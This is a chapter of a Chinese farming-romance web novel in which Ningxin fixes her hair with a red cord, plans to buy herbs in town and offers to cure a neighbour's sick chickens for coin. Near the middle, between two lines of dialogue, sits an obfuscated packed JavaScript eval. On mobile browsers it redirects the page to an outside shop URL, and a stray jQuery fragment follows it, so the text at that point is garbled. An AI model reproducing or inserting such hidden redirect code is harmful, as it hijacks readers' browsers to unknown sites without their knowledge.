宁馨进屋时,桶已经不在了,那可是满是脏泥,黑黢黢的水啊,宁馨捂住脸。
她硬着头发往院中走,“我来洗桶。”
只见桶已经刷好,晾在院中了。
梁二端着菜往屋里走,见她还站在那儿,“进来吃饭吧。”
宁馨咬咬牙,不要脸,要干饭。
宁馨坐下来,夹了一小筷子野菜,往嘴里塞,她眼睛亮了,这野菜居然这么好吃,又夹了几大筷子。
还有红薯也是如此香甜!
喝完粥,宁馨看着梁二,“那个,对不起,昨晚误会你了。”
梁二将粥一饮而尽,“噢。”
她尴尬地笑笑,主动收碗筷,将它们揽在身前,“这回你可不要跟我抢了。”
说完就哼着歌儿去刷碗了。
刷完碗,她回到屋内,桌上多出一根红绳来。
她拿起来一看,这么短短一截,实在想不到是做什么的。
宁馨拿着红绳跑出去问院中的梁二,梁二正理着草药,“这是做什么的?”
梁二抬眼看了看她手里的东西,又低下头清理掉草药上被虫咬过的部分,“这是红绳,给你扎头发的。”
她把头绳捏在手心,嘴角不自觉的微笑。
扎好头发宁馨看了看水缸中的自己,人消瘦了些,但模样不差。宁馨跑到梁二面前,晃着头“怎么样,好看吗?”
梁二抬头看,又瞬间低下了头,“还,还行吧。”
宁馨拍了拍脑袋,赶紧跑着进了灶房,去看那只病鸡。
那只鸡仍病恹恹地躺着,食物也没怎么动。
宁馨给它碗里换了干净水,碗沿压低,让它一低头就能够到。然后她蹲着看了一会儿——鸡的眼睛还闭着,但呼吸比之前稳了,嘴也不张了。
宁馨叹了口气,要完全治好,还是需要去镇上买药。
梁二正坐在院中的小木凳上劈着柴。
她走过去问,“你知道哪里能买到常山吗?”
梁二拿起一块木头,“得去镇上药铺。”
宁馨追问,“现在能去吗?”
梁二一把劈开木头,头都不抬,“不行,镇上太远,从现在开始走,晚上才能到,天黑了回不来。”
宁馨不死心,“没有牛车吗?”
梁二停下手中的动作,“只有王叔家有牛车,他每天清晨会去镇上,晚点我去他家说一声吧,明天带你去。”
宁馨跺跺脚,看了看梁二的腿,又看看自己的腿,现在走去镇上太不现实了,她叹口气,“好吧。”
等到太阳落山,梁二炒了野菜,煮了野菜粥,宁馨一边刨饭,一边想她一定要赚钱吃肉!
吃完饭后她用了剩饭喂小狗,然后她坐在台阶上发呆,梁二拿着竹条不知道在捣鼓些什么。
宁馨搬了根小木凳在他旁边坐下,“你先别忙了,我们谈谈。”
梁二埋着头继续编着竹条,“有事你说就行。”
宁馨想起那只鸡,“去镇上买药,需要钱吧。”
梁二顿了顿,又继续编木条,“床下有个盒子,你去拿吧。”
宁馨兴冲冲地进了房,蹲下来,在床下面摸啊摸,终于在里面摸到了一个小盒子。
她埋着头将盒子掏出来,拍了拍上面的灰,将盒子小心翼翼地放在桌上,“啪嗒”一声,锁扣打开,里面是圆形方孔黄铜色的币,大概有十几枚。
宁馨凑着脑袋看了看,又盖上盖子,将盒子搁在桌上,走向梁二,摸着自己的头,“那个,一共是多少钱?”
“呲”的一声竹条弹开了,梁二收手时已经晚了,竹条拐向了他的手心,留下一条小口子。
血慢慢渗出来,宁馨眉头一皱,立刻起身去拿布,宁馨将布递给梁二,梁二掰了掰左手的伤口,“不用。”
宁馨这才看见他的手有好几道疤痕,她想替他擦掉血迹,被梁二躲开了,他起身进了灶房。
宁馨追在他身后,“你躲什么啊?”
梁二在灶房墙壁上搜索着,手抓住一个白色絮状的东西,盖在伤口上。
伸出手给宁馨看,“好了。”
宁馨看了看他的手,确实不怎么流血了,她瞪大了双眼,虽然网课看到过用蜘蛛网止血,但亲眼见还是好震撼!
宁馨向他比了个大拇指,“好厉害!”
梁二看了看宁馨,接着一脸平静的走出了灶房,去收拾竹条了。
宁馨同他一起捡起地上的竹条,“让我来吧。”
收拾好竹条后,宁馨给梁二倒了杯水,梁二坐下后接过水碗,宁馨把盒子打开,一枚一枚开始数着。
梁二打断了她,“不用数了,二十一文。”
宁馨捏着手中的铜钱,这才一文吗?
宁馨将铜钱轻轻放回去,扣上盒子,一手撑着桌子,一手点着盒子,“我明天去买药,要常山,白头翁,凑一副药大概要多少钱?”
梁二喝了一口水,“常山在镇上药铺得十文钱一两,白头翁便宜些,五六文也能买到。凑一副药,怎么也得二三十文。”
宁馨扶住额头,连一副药钱都凑不到!
宁馨叹了口气,“明天你还是陪我去镇上看看吧。”
梁二点点头,宁馨又问,“搭牛车要钱吗?”
梁二,“搭一次1文钱。”
宁馨握着拳头,咬咬牙,“还是要去。”
梁二起身往外走,宁馨大喊,“你去哪?”
梁二拿了根木棍,“你先休息吧,我去王叔家说一声,明天搭他的牛车。”
宁馨抓住他袖子,“我跟你一起!”
梁二皱眉,“我说不要拉我袖子。”
宁馨紧抓地更紧了,她很想出去看看,“你不答应我,我就不松手。”
梁二只好点头,宁馨这才松开袖子,背着手跟在梁二身后。
五月的傍晚还不算黑,还看得清路。
走到岔路口,梁二带着她往左拐下去,这才看见前面有稀稀拉拉几户人家。
走到一家院门口,这院子还用篱笆围起来了,梁二在院外喊,“王叔,王叔在不?”
“来啦。”清脆地女声响起。
走出来一位妇女,步履轻快,头发梳的很顺溜,满脸带笑,“我一听就是梁二,有啥事跟我说,你王叔还没回来。”
梁二,“麻烦王婶跟叔说一声,明早要搭下车。”
王婶眼睛打量着他身后的宁馨,热情地伸出手去拉宁馨的手,“想必这就是新媳妇儿吧,俊的咧!”
宁馨点头微笑,“王婶好,我叫宁馨。”
王婶又瞟了眼梁二,“成,等他回来我就跟他说。”
说罢就拉着宁馨往里走,“今儿第一次见勒,快,进屋坐坐。”
宁馨架不住王婶的热情,只好回头看向梁二,见梁二也进了院子,这才安下心来。
院子修整的很好,还有一方石桌,她和梁二在石桌前落座,王婶又端了茶水出来,“小宁,家里没啥好招待的,只有这豆子茶了。”
宁芯端起来闻了闻,豆子有炒过香气,宁馨淡淡抿了一口,有淡淡的咸味,味道还不错。
见梁二喝完把豆子也吃了,宁馨也照着做。
豆子已经在泡了好一会儿了。她用手捏起一颗放进嘴里,一口咬下去,豆子不脆了,软软的,在嘴里化开。但嚼两下有有炒过的焦香,混着咸味,竟意外的美味!
宁馨又往嘴里倒了好多,不一会儿就吃完了,王婶笑笑,“这么瘦多吃点,屋里还有。”
宁馨连忙摇头摆手,“不了不了,我吃饱了,谢谢王婶。”
王婶笑眯眯地,“别客气,不值钱的。”
“嗝~”
宁馨拉住她,“王婶,我真吃饱了,你看我都打嗝了。”
王婶爽朗地笑笑,“好好好,我在给你们添点水。”
“哟,今天这么热闹呢!”
一个中年男人拉着牛车,皮肤黝黑,脖子上还挂着汗巾,王婶倒完水,“可不是嘛,你回来的真巧。”
男人刚放好牛车,王婶又倒了杯水递给他,眼神示意“,这是梁二媳妇,小宁。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729944|208930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说完又对着宁馨,“小宁,这是你王叔。”
王叔接过水一饮而尽,王婶忙说,“梁二明早要去镇上,你明天捎上他们。”
王叔擦着汗,看向梁二和宁馨,“没问题!”
王婶拉着宁馨,“小宁啊,我带你转转去,让他俩说事。”
宁馨看看梁二,梁二摆摆手,“去吧,王婶是好人。”
王婶把宁馨带到后院,这边有一小块地,还种了葱养了鸡。
宁馨盯着这一二四……七只鸡,它们脖颈处的羽毛炸起,头都缩进了肩膀,闭着眼呆呆的。
王婶摸着宁馨的背,“小宁啊,梁二是好人,你嫁给他,就好好同他过日子……”
宁馨打断了她的话,“王婶,这些鸡是不是最近都吃得少?”说着走向鸡圈。
王婶一惊,跟在宁馨后面,看着有些蔫的鸡,“你怎么知道?”
宁馨蹲下来,仔细观察鸡的粪便,粪便很稀,带着粘液和血丝,这是球虫病初期的表现!
宁馨盘算着一副药能治十来只鸡,这不钱就来了嘛!她暗自兴奋起来,抿了抿嘴,编了个理由,“王婶,我以前去地主家养过鸡,婶儿,你信我,这鸡我能治!”说罢挺着胸膛看向王婶。
王婶打量着宁馨,收回手不说话。
宁馨看出她的疑虑,“王婶,这样,要是我治好了一只鸡你给我算五文钱,要是治死了按市场价赔偿!”
宁馨想着这些鸡状态比家里那个好太多了,而且初期更好治!现在只要王婶答应就行了。
王婶看了看鸡,摸着指节,明显还在犹豫。
宁馨眼睛一转,想到了梁二,“王婶,我刚嫁给梁二,家里什么情况想必你也知道,你不信我难道还不信梁二么?”
说着又去挽王婶的手,“虽然我嫁来才一两天,但我看得出梁二是好人,我会跟他好好过日子的!”
王婶看了看宁馨的眼睛,半晌终于应下,“好吧,就让你先试试。”
宁馨挽得更紧了,“好,王婶。”
梁二那边也好了,他招呼宁馨该回去了。
天渐渐暗下来,他们总算在天黑之前到家了。
宁馨坐在床边问梁二,“你和王叔说什么啊?”
梁二喝了了口水,“没什么,就一些家常。”
宁馨摆着腿,“你就不想知道王婶跟我说了什么?”
梁二又喝了一口水,“路上你不都说了么?”
宁馨已经告诉了梁二她的赚钱计划。
宁馨眨眨眼,“还有别的呢。”
梁二抬头看向她,“什么?”
宁馨看着梁二,“王婶说让我好好跟你过日子。”
梁二转过头,看着空碗,手摸着碗口。
宁馨对此已经习惯,继续说,“我觉得王婶说的有道理,我们俩就先搭伙过日子,等我赚了钱,以后再分道扬镳,到时候你想干啥都行。”
梁二摸着碗的手顿了顿,宁馨接着说,“还有你别总是突然消失,你出去做什么前记得跟我说。”
梁二抬眼,“为什么?”
宁馨双手撑着下巴,望着他,“我担心你啊,而且我人生地不熟的,一个人害怕。”
梁二低下头,“好。”
宁馨眼角带笑,“就这么说定了了。”
接着看了看屋里仅有的一张床,“今晚怎么睡?”
梁二依旧低着头,“你睡床吧,我去灶房呆着。”
宁馨叹了口气,“那就只能先委屈你了。”躺在床上琢磨着之后做个躺椅。
梁二起身从小门进了柴房。
半夜宁馨渴醒了,她起来喝水时,听见外面有动静,她轻轻推门,掩着一条缝儿,往外瞧。
院里有个人影!她不敢出声,屏住呼吸,揉了揉眼睛,就着月光,仔细一看,原来是梁二,瞬间松了口气。
只见他坐在院中,背对着她,手里拿着他晚上没吃完的红薯,一块一块地揪下来,丢给捡到的那只小黄狗。
她嘴角带笑,她悄悄把门合上,躺回去安心地睡了。